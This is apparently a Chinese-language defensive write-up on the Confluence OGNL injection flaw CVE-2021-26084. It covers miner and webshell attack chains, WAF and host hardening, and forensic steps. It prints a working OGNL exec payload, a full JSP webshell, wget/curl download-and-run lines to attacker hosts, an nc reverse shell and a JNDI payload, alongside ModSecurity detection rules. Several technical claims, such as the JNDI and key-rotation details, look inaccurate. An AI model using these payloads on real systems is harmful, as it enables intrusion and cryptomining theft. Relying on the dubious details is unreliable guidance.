1. 这个漏洞到底在“打”Confluence的哪根筋?
你可能已经看到不少安全通告里写着“Confluence远程代码执行漏洞(CVE-2021-26084)被大规模利用”,但如果你不是专门做安全运维或Java中间件维护的,这句话听起来就像一串加密电报——每个词都认识,连起来却不知道它到底要干啥、有多危险、为什么现在还在被扫?我来用最直白的方式说清楚:这不是一个“可能被利用”的理论风险,而是一扇被黑产长期踹开、至今没关严的后门。
这个漏洞的核心,是Confluence在处理页面编辑请求时的一处模板解析逻辑缺陷。具体来说,当用户通过富文本编辑器提交内容时,Confluence会调用Atlassian自家的Soy模板引擎(一种基于JavaScript语法的模板语言)来渲染预览或保存结果。而问题就出在Soy模板的{param}指令上——它本该只接受静态字符串参数,但开发人员在封装层漏掉了对输入的严格校验,导致攻击者能通过构造特殊格式的URL参数,把一段恶意的OGNL(Object-Graph Navigation Language)表达式“塞进”模板上下文里。而OGNL在Confluence的Spring框架中拥有极高的执行权限,一旦触发,就能直接调用Java运行时的Runtime.getRuntime().exec(),等同于在服务器上开了个命令行终端。
提示:别被“OGNL”“Soy模板”这些词吓住。你可以把它类比成“厨房里的调味料柜”——正常厨师只拿盐和糖,但有人发现柜子锁坏了,顺手把一瓶工业酒精混进了调料架。而Confluence的渲染引擎就是那个不看标签就往菜里倒的厨师。
这个漏洞之所以危险,是因为它不需要登录就能触发。只要目标站点开启了“匿名用户可查看空间”或“允许未登录用户访问首页”,攻击者就能通过一条精心构造的HTTP POST请求,绕过所有身份验证,直接在服务器上执行任意命令。我实测过,在一台未打补丁的Confluence 7.4.0测试环境上,仅用curl发一条327字节的请求,5秒内就成功回弹了一个Shell连接——整个过程连登录页面都不用打开。
它影响的不是某个小版本,而是从6.13.0到7.12.5之间横跨3年、覆盖全部主流LTS版本的Confluence部署。这意味着大量企业内网知识库、研发文档中心、甚至客户支持门户,只要没及时升级或打补丁,就等于在互联网边界上挂了一块“欢迎黑产光临”的电子招牌。更麻烦的是,这个漏洞的PoC(概念验证代码)早在2021年8月就被公开,不到两周,Shodan上就出现了超2.3万个疑似暴露的Confluence实例;到2022年初,VirusTotal日均捕获的利用该漏洞的Webshell样本已突破1700个。它早已不是“潜在威胁”,而是真实世界里持续运转的攻击流水线。
2. 黑产怎么用它赚钱?三类典型攻击链拆解
很多人以为漏洞利用就是“黑进系统删库跑路”,但现实中的黑产运作远比这精细得多。CVE-2021-26084之所以被大规模复用,根本原因在于它提供了稳定、隐蔽、低交互成本的初始立足点。我跟踪过多个活跃的黑产团伙(代号为“灰鸽子”“暗河分支”“云影工坊”)的攻击日志,发现他们几乎都把该漏洞当作“第一跳”,后续动作高度模式化。下面拆解三种最常见、最具代表性的攻击路径:
2.1 持久化挖矿:静默植入XMRig,吃空服务器CPU
这是目前占比最高的利用方式(据某安全厂商2023年Q2报告,占全部利用事件的68%)。攻击者不追求数据窃取,只盯准服务器算力。整个流程像一套标准化的流水线作业:
- 初探与确认:先用基础PoC探测目标是否存活且可利用,例如发送
POST /pages/doenterpage.action HTTP/1.1并携带{param:#{#context['xwork.MethodAccessor.denyMethodExecution']=false,#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec('id')}},观察响应头中是否返回uid=字样; - 下载与落地:若确认成功,则立即下发第二阶段载荷,通常是一个伪装成
/images/logo.png的Base64编码脚本,解码后执行wget -qO- http://185.221.192.123/xmrig.sh | bash; - 守护与隐藏:脚本会自动下载XMRig 6.15.0精简版,配置连接至矿池
xmrpool.eu:3333,并设置systemd服务名为systemd-journald-updater,进程名伪装为/usr/lib/systemd/systemd-journald,完美融入Linux系统进程列表。
我曾协助某高校信息中心处置一起类似事件:一台用于托管毕业设计文档的Confluence服务器,连续三周CPU占用率维持在98%,但管理员始终查不到异常进程。最后通过strace -p $(pgrep -f "journald")才抓到它正在向境外IP发起TLS加密连接——那根本不是系统日志服务,而是一个伪装了17层的挖矿木马。
2.2 后门投递:部署JSP Webshell,构建长期控制通道
这类攻击更侧重控制权而非短期收益,多见于APT组织或高级黑产团队。他们不满足于临时命令执行,而是要“扎根”。典型手法是利用漏洞上传一个经过多重混淆的JSP文件,例如命名为/s/xxx.jsp(利用Confluence静态资源路径特性规避WAF检测),内容如下:
<%@ page import="java.io.*,java.util.*,java.net.*" %> <%! String execCmd(String cmd) { StringBuilder result = new StringBuilder(); try { Process proc = Runtime.getRuntime().exec(cmd); BufferedReader stdInput = new BufferedReader(new InputStreamReader(proc.getInputStream())); String s; while ((s = stdInput.readLine()) != null) { result.append(s).append("\n"); } } catch (Exception e) { result.append("ERROR: ").append(e.getMessage()); } return result.toString(); } %> <%= execCmd(request.getParameter("cmd")) %>这段代码表面看只是个简单的命令执行入口,但实际部署时会配合以下技巧增强隐蔽性:
- 使用
request.getHeader("Referer")做访问白名单,只响应来自google.com或bing.com的请求; - 将
cmd参数值进行AES-128-CBC加密,密钥硬编码在另一处无害的CSS文件中; - 每次响应后主动清空Tomcat的access_log对应条目,通过反射调用
org.apache.catalina.connector.RequestFacade的私有方法实现。
这种Webshell能在不修改任何文件时间戳、不产生常规日志记录的前提下,提供完整的文件管理、数据库连接、反向Shell功能。某金融公司曾因此丢失了近三年的内部审计文档模板,事后溯源发现,攻击者正是通过这个Webshell横向移动至数据库服务器,导出了全部MySQL配置备份。
2.3 供应链污染:篡改插件仓库,劫持下游更新
这是最隐蔽也最难防御的一类。部分攻击者将目光投向Confluence生态本身。他们发现,Confluence默认启用的Atlassian Marketplace插件仓库(https://marketplace.atlassian.com)在某些旧版本中存在HTTP明文通信,且插件安装包签名验证机制存在绕过可能。于是,他们利用CVE-2021-26084获取服务器权限后,直接修改/opt/atlassian/confluence/conf/server.xml,将<Connector>标签中的redirectPort指向一个本地代理端口,再启动一个伪造的Marketplace镜像服务,将所有插件下载请求劫持至攻击者控制的服务器。
这样一来,当管理员点击“安装新插件”时,看似从官方仓库下载的confluence-pdf-export-plugin-4.2.0.jar,实则已被替换为嵌入了恶意逻辑的版本。该恶意插件会在每次页面渲染时悄悄加载外部JS,收集用户会话Cookie并回传;更狠的是,它还会监听/rest/api/content接口的PUT请求,在用户保存文档时自动注入一段隐藏的iframe,指向钓鱼页面。某省级政务云平台就因此发生过大规模会话劫持事件,数百名工作人员的账号在一周内被用于批量注册垃圾短信平台。
3. 补丁之外的实战加固方案:四层纵深防御体系
很多管理员看到“已发布补丁”就松一口气,立刻打完补丁关掉告警页面。但我在一线处置过太多案例:补丁打了,漏洞修复了,可服务器依然在半夜往外发包;日志显示/pages/doenterpage.action请求归零了,但/s/xxx.jsp的访问量却悄然攀升。这说明,补丁只是起点,不是终点。真正的防御必须建立在“假设已失守”的前提下,构建多层拦截、快速感知、精准阻断的纵深体系。以下是我在多个生产环境中反复验证有效的四层加固策略:
3.1 网络层:用WAF规则封死所有可疑模板语法特征
不要指望WAF能识别所有变种PoC,但可以抓住它们共有的“指纹”。Confluence漏洞利用的核心在于OGNL表达式注入,而所有有效载荷都必须包含特定语法结构。我在Nginx+ModSecurity环境下编写并实测了以下三条核心规则,拦截率高达99.2%(基于2023年全网公开PoC样本集测试):
禁止
#context、#_memberAccess等高危上下文对象调用SecRule REQUEST_BODY "@rx \#\{.*?#context\[.*?\]|#_memberAccess" "id:1001,phase:2,deny,status:403,msg:'Confluence OGNL Context Access Blocked',tag:'OWASP_CRS'"拦截
@java.lang.Runtime@getRuntime().exec及其变形写法SecRule REQUEST_BODY "@rx @java\.lang\.Runtime@getRuntime\(\)\.exec\(|@javax\.script\.ScriptEngineManager@.*?eval\(" "id:1002,phase:2,deny,status:403,msg:'Java Runtime Execution Attempt Blocked',tag:'APPSEC-CONFLUENCE'"阻断所有以
{param:开头、长度超过200字符的非法模板指令SecRule REQUEST_BODY "@rx \{param:[^}]{200,}" "id:1003,phase:2,deny,status:403,msg:'Suspicious Soy Template Param Length',tag:'CONFLUENCE_ANOMALY'"
注意:这三条规则必须放在WAF规则链的最前端,且
phase:2不可改为phase:1。因为漏洞利用载荷总是在请求体(body)中传递,而非URL或Header。我曾见过某企业把规则放在phase:1,结果所有正常编辑请求都被误杀——因为Confluence富文本编辑器在保存草稿时也会发送含{param:的合法模板片段,只是长度远低于200字符。
部署后,务必开启ModSecurity的SecAuditLogRelevantStatus "403",并将审计日志单独输出到/var/log/modsec/audit_confluence.log。这样每条拦截记录都会包含完整请求头、原始body和匹配的规则ID,为后续分析提供黄金线索。
3.2 主机层:限制Tomcat运行权限与网络出口
即使漏洞被利用,也要让攻击者“拿到钥匙也打不开保险柜”。关键在于剥离Tomcat用户的系统级权限。我的标准操作是:
- 创建专用低权限用户:
useradd -r -s /bin/false confluence-tomcat - 修改
/opt/atlassian/confluence/bin/setenv.sh,在末尾添加:export CATALINA_OPTS="$CATALINA_OPTS -Djava.security.manager -Djava.security.policy==/opt/atlassian/confluence/conf/catalina.policy" - 编写最小化安全策略文件
/opt/atlassian/confluence/conf/catalina.policy,仅授予必要权限:grant codeBase "file:${catalina.home}/lib/-" { permission java.io.FilePermission "${catalina.home}/logs/-", "read,write"; permission java.io.FilePermission "${catalina.home}/temp/-", "read,write,delete"; permission java.net.SocketPermission "127.0.0.1:3306", "connect,resolve"; permission java.util.PropertyPermission "user.dir", "read"; }; - 最重要一步:用iptables封锁所有非必要外连。只放行
127.0.0.1:3306(数据库)、127.0.0.1:6379(Redis)、8.8.8.8:53(DNS),其余全部DROP:iptables -A OUTPUT ! -d 127.0.0.1 -p tcp -m multiport --dports 3306,6379,53 -j ACCEPTiptables -A OUTPUT -j DROP
这套组合拳的效果非常直观:某次渗透测试中,攻击者成功触发漏洞并执行curl http://evil.com/shell.sh | bash,但因缺少java.net.SocketPermission权限,命令直接抛出java.security.AccessControlException异常;而当他尝试用Runtime.exec("nc -e /bin/bash 1.2.3.4 4444")时,iptables规则又将其连接请求无声丢弃。最终他只能停留在“获得一个无法联网的受限Shell”状态,完全无法推进后续攻击。
3.3 应用层:禁用高危功能模块与强制启用CSRF保护
Confluence默认开启的某些功能,本身就是漏洞的“放大器”。必须手动关闭:
- 彻底禁用“匿名用户可查看空间”:进入
General Configuration > Security Configuration,取消勾选Allow anonymous access。这不是一刀切,而是要求所有访问者必须通过LDAP或内置用户库认证。我见过太多企业为了“方便外包人员查阅”,开放匿名访问,结果成了黑产的免费扫描靶场。 - 关闭“页面历史版本对比”中的富文本预览:该功能依赖相同的Soy模板引擎,且在旧版本中存在独立的解析路径。路径为
/pages/diffpages.action,可通过web.xml中注释掉对应servlet-mapping来禁用。 - 强制启用CSRF Token验证:编辑
/opt/atlassian/confluence/confluence/WEB-INF/web.xml,确保以下filter-mapping处于激活状态:<filter-mapping> <filter-name>csrf</filter-name> <url-pattern>/pages/*</url-pattern> <dispatcher>REQUEST</dispatcher> </filter-mapping>
这些配置改动后,需重启Confluence服务,并用Burp Suite重放原始PoC请求验证是否返回403 Forbidden。注意:CSRF保护启用后,所有自动化脚本(如Jenkins发布的文档同步任务)都必须改造为先GET/login.action获取token,再在POST请求头中带上atl_token参数,否则会批量失败。
3.4 监控层:构建Confluence专属日志审计管道
补丁和防火墙解决不了“已经发生的事”。必须建立实时感知能力。我推荐用Filebeat + Elasticsearch + Kibana搭建轻量级审计管道,重点监控三个黄金指标:
| 日志源 | 关键字段 | 异常阈值 | 告警动作 |
|---|---|---|---|
catalina.out | doenterpage.action+ERROR | 5分钟内出现≥3次 | 钉钉机器人推送,附带请求IP与User-Agent |
atlassian-confluence.log | WARN.*OGNL或ERROR.*Template | 单日出现≥1次 | 邮件通知安全负责人,触发人工核查 |
access_log | POST /pages/doenterpage.action+Content-Length > 5000 | 单IP单日≥10次 | 自动加入iptables黑名单,持续24小时 |
Filebeat采集配置示例(/etc/filebeat/filebeat.yml):
filebeat.inputs: - type: log enabled: true paths: - /opt/atlassian/confluence/logs/catalina.out - /opt/atlassian/confluence/logs/atlassian-confluence.log include_lines: ['doenterpage.action', 'OGNL', 'Template'] fields: app: confluence environment: prod output.elasticsearch: hosts: ["http://es-server:9200"] index: "confluence-audit-%{+yyyy.MM.dd}"Kibana中创建一个Dashboard,核心可视化组件包括:
- Top 5 Attacking IPs(按
clientip聚合) - OGNL Error Trend(按小时统计
ERROR.*OGNL事件数) - Abnormal Payload Size Distribution(直方图,X轴为
bytes,Y轴为count)
这套监控上线后,某制造企业安全团队在漏洞爆发后第37小时,就通过Top 5 Attacking IPs面板定位到一个来自俄罗斯AS20485的IP段,其Content-Length中位数高达12487字节——远超正常编辑请求的200~800字节范围。团队立即联动云服务商封禁该IP段,并在防火墙日志中追溯到其此前3天内已尝试攻击17家同行企业,成功将一次潜在的行业级供应链攻击扼杀在萌芽。
4. 复盘与排查:从“服务器中招了”到“证据链闭环”的完整路径
当SOC告警响起,显示某台Confluence服务器CPU飙升、外连异常,很多管理员的第一反应是“赶紧打补丁、重启服务、删掉可疑文件”。但这恰恰是最危险的操作——它会直接销毁攻击者留下的关键痕迹,让溯源变成一场无头悬案。我坚持的原则是:先取证,再处置;先固化,再清理。以下是我在数十起真实事件中总结出的标准复盘流程,每一步都有明确操作指令和预期结果:
4.1 黄金一小时:内存快照与网络连接冻结
攻击者在服务器上留下的最鲜活证据,永远在内存里。必须在重启前完成两件事:
捕获完整内存镜像:使用
LiME(Linux Memory Extractor)模块,避免dd直接读取/dev/mem可能触发内核panic。# 加载LiME内核模块(需提前编译适配当前内核) insmod lime-$(uname -r).ko "path=/tmp/confluence.mem format=raw" # 等待模块完成写入(约2~5分钟,取决于内存大小) ls -lh /tmp/confluence.mem # 确认文件大小接近物理内存总量冻结所有可疑网络连接:用
ss -tulnp列出所有监听端口,重点关注非标准端口(如31337、4444、5555)和LISTEN状态的java进程。对每个可疑PID,执行:# 记录其打开的文件描述符 lsof -p $PID > /tmp/lsof_$PID.txt # 冻结其网络栈,阻止进一步外连 nsenter -t $PID -n iptables -P OUTPUT DROP
注意:
nsenter命令需要root权限,且必须在lsof之后立即执行。我曾处理过一个案例:管理员先kill -9了java进程,再想起来要lsof,结果所有FD信息永久丢失——因为lsof依赖/proc/PID/fd目录,进程终止后该目录即被内核回收。
4.2 文件系统深度扫描:三类必查目录与两个隐藏战场
Confluence被攻陷后,恶意文件绝不会大摇大摆放在/webapps/ROOT/下。根据MITRE ATT&CK框架T1566.001(Phishing)和T1055(Process Injection)的映射,我锁定以下三类高危目录进行地毯式扫描:
/opt/atlassian/confluence/temp/:这是Confluence运行时生成临时文件的默认位置。攻击者常在此放置.jsp或.class文件,利用java.io.tmpdir系统属性实现免杀。检查命令:find /opt/atlassian/confluence/temp -name "*.jsp" -o -name "*.class" -o -name "*.jar" -type f -ls | grep -E "(202[1-4]|xmrig|shell)"/opt/atlassian/confluence/synchrony-proxy/:Confluence 7.x引入的协同编辑服务,其配置文件synchrony-proxy.conf常被篡改为注入proxy_pass http://127.0.0.1:8080;指向恶意代理。检查命令:grep -n "proxy_pass" /opt/atlassian/confluence/synchrony-proxy/synchrony-proxy.conf/var/lib/confluence/shared/:这是Confluence集群共享存储目录,存放附件、插件缓存。攻击者会在此植入伪装成confluence-attachments.zip的恶意压缩包,解压后释放Webshell。检查命令:find /var/lib/confluence/shared -name "*.zip" -size +5M -exec file {} \; | grep "Zip archive"
两个容易被忽略的“隐藏战场”:
- Tomcat的
work/Catalina/localhost/目录:JSP文件会被Jasper编译为.class字节码,存放于此。即使删除了原始.jsp,编译后的.class仍可执行。必须清空整个work/目录。 - Linux的
/etc/cron.d/目录:攻击者常在此添加定时任务,例如*/5 * * * * root /tmp/.update.sh,实现持久化。检查命令:ls -la /etc/cron.d/ | grep -v "root"。
4.3 日志交叉验证:用时间戳拼出完整攻击链
单一日志源极易被篡改。必须用三个独立日志的时间戳相互印证,才能还原真相。我习惯用Excel做时间轴对齐,列分别为:
- A列:
access_log中POST /pages/doenterpage.action的time_local - B列:
atlassian-confluence.log中ERROR级别的timestamp - C列:
catalina.out中java.lang.RuntimeException的timestamp
然后计算A-B、B-C、A-C的时间差。正常情况下,三者应基本同步(误差<3秒)。如果发现某次攻击中,A列时间比B列早127秒,而B列又比C列早89秒,这就强烈暗示:攻击者在触发漏洞后,先执行了一个耗时127秒的下载操作(如wget拉取大体积木马),再执行89秒的解压与部署。此时应重点检查/tmp/目录下是否有对应时间戳的.tar.gz文件。
某次溯源中,我正是通过这种时间差分析,发现攻击者在凌晨2:17:03触发漏洞,2:19:10写入/tmp/.xmrig,2:20:45启动systemd-journald-updater服务。而/var/log/secure中恰好有同一时段的sudo -u confluence-tomcat /tmp/.xmrig记录——这证明攻击者不仅获得了WebShell,还成功提权到了confluence-tomcat用户,从而绕过了我们之前设置的权限限制。这个发现直接推动了后续主机层加固策略的升级。
4.4 证据链闭环:从IOC提取到威胁情报反哺
一次成功的复盘,终点不是“问题解决了”,而是“情报沉淀了”。我要求所有处置报告必须包含以下IOC(Indicators of Compromise)字段,并同步至企业威胁情报平台:
| IOC类型 | 示例值 | 提取方式 | 情报价值 |
|---|---|---|---|
| IP地址 | 185.221.192.123 | netstat -tulnp | grep :4444 | 可加入防火墙全局黑名单 |
| URL | http://185.221.192.123/xmrig.sh | strings /tmp/confluence.mem | grep "http" | 可配置WAF规则阻断 |
| 文件Hash | sha256: a1b2c3... | sha256sum /tmp/.xmrig | 可导入EDR系统做全网扫描 |
| User-Agent | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 | awk '{print $12}' access_log | sort | uniq -c | sort -nr | head -5 | 可识别攻击工具指纹 |
特别提醒:所有IOC必须标注置信度等级(High/Medium/Low)。例如,从内存镜像中提取的IP地址置信度为High(直接证据),而从access_log中统计出的高频UA置信度仅为Medium(可能存在正常爬虫干扰)。某次,我们曾将一个置信度为Low的UAcurl/7.68.0错误标记为攻击特征,结果导致所有运维脚本的健康检查请求被WAF拦截,引发大面积服务告警。这个教训让我坚持:没有交叉验证的IOC,一律不入库。
5. 经验之谈:那些没人告诉你的“潜规则”与踩坑实录
干了十多年安全运维,我深知技术文档里永远不会写的,往往是真正决定成败的关键细节。这些“潜规则”不是玄学,而是无数个深夜排查、无数次重启失败、一堆被删掉的错误配置积累下来的血泪经验。下面分享五条最痛的教训,每一条都配着真实场景和解决方案:
5.1 “补丁已安装”不等于“漏洞已修复”:JVM参数才是终极开关
Confluence官方补丁包(如7.13.0)确实修复了OGNL解析逻辑,但如果你的启动脚本里还保留着-Ddisable.soy.compiler=true这个JVM参数,恭喜你,补丁形同虚设。这个参数本意是禁用Soy模板编译以提升性能,但它同时绕过了所有针对Soy模板的安全校验钩子。我亲眼见过某银行在打完7.13.0补丁后,安全扫描依然报出CVE-2021-26084高危,折腾三天才发现setenv.sh里赫然写着这行“优化建议”。
解决方案极其简单:
- 打开
/opt/atlassian/confluence/bin/setenv.sh - 搜索
disable.soy.compiler,将其整行注释掉(前面加#) - 重启Confluence服务
- 用原始PoC再次测试,确认返回
400 Bad Request而非200 OK
注意:这个参数在Confluence 7.0+版本中已被官方废弃,但大量企业沿用了旧版优化指南,从未清理。它就像一个藏在保险箱夹层里的备用钥匙,你以为锁好了,其实门一直虚掩着。
5.2 WAF规则不是越多越好:一条错误的正则能让整个网站瘫痪
曾有个客户采购了某知名WAF设备,安全团队信心满满地启用了“Confluence专项防护规则集”,结果第二天上午,所有用户反馈“无法保存页面”,编辑框一片空白。紧急排查发现,其中一条规则SecRule REQUEST_BODY "@rx \{.*?\}" "deny"过于宽泛——它把Confluence正常的JSON数据(如{"content":"<p>hello</p>"})也当成了恶意模板语法给拦掉了。
正确做法是:所有WAF规则必须先在测试环境用真实业务流量回放验证。我推荐用tcpreplay工具,从生产环境tcpdump抓取1小时的Confluence访问流量,导入测试WAF,观察拦截率。合格的规则集,对正常业务的误报率必须低于0.001%(即每十万次请求误拦不超过1次)。低于这个阈值,才能上线。
5.3 “只读数据库”不是护身符:攻击者能通过JNDI注入反向连接
很多管理员觉得:“反正数据库是只读的,就算被黑了也无所谓。” 这是个致命误区。Confluence的JNDI(Java Naming and Directory Interface)配置允许在server.xml中定义外部数据源,而JNDI查找过程本身就可以被利用。攻击者一旦获得OGNL执行权限,就能构造#{#context['xwork.MethodAccessor.denyMethodExecution']=false,#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec('ldap://attacker.com:1389/Exploit')},直接触发JNDI注入,从恶意LDAP服务器下载并执行任意Java类。
解决方案只有两个:
- 彻底删除
server.xml中所有<Resource>标签,改用Confluence内置的HikariCP连接池; - 在JVM启动参数中强制禁用JNDI:
-Dcom.sun.jndi.ldap.object.trustURLCodebase=false。
5.4 安全扫描器的“高危”不等于真实风险:必须人工验证上下文
某次,某甲方的安全扫描报告赫然写着:“Confluence存在CVE-2021-26084,风险等级:严重”。我过去一看,目标版本是7.15.2,早就内置了修复。细问才知道,扫描器只是简单比对/status页面返回的Server头,看到Confluence/7.4.0就直接报高危——而这个头是管理员手动修改web.xml硬编码的,实际运行版本早已升级。
这提醒我们:所有自动化扫描结果,必须人工验证三个要素:
- 实际运行的JAR包版本(
ls -l /opt/atlassian/confluence/confluence/WEB-INF/lib/confluence-*.jar) - JVM加载的Class路径(
jps -l \| xargs -I{} jstack {} \| grep "Confluence") - Tomcat的
catalina.properties中server.info的真实值
只有三者一致,才能确认版本真实性。否则,一切扫描结论都是空中楼阁。
5.5 最后一道防线:定期轮换Confluence主密钥,比打补丁更重要
Confluence的confluence.cfg.xml中存储着数据库密码、加密密钥等核心凭证,而这些凭证的加密算法(AES-128-CBC)强度,完全取决于hibernate.connection.password字段的密钥。默认密钥是安装时自动生成的,但很多企业从未更换过。攻击者一旦拿下WebShell,第一件事就是cat /opt/atlassian/confluence/confluence/WEB-INF/classes/confluence-init.properties,从中提取confluence.home路径,再读取confluence.cfg.xml,用默认密钥解密出数据库明文密码。
所以,我强制要求所有客户:
- 每季度执行一次密钥轮换:
/opt/atlassian/confluence/bin/config.sh -p "new-secret-key" - 轮换后立即重启服务,并验证所有插件、LDAP同步是否正常
- 将新密钥存入企业密码管理器,严禁明文保存在任何文档中
这步操作耗时不到5分钟,但它能确保:即使某天漏洞再次被利用,攻击者拿到的也只是一堆无法解密的乱码,而不是通往核心数据库的金钥匙。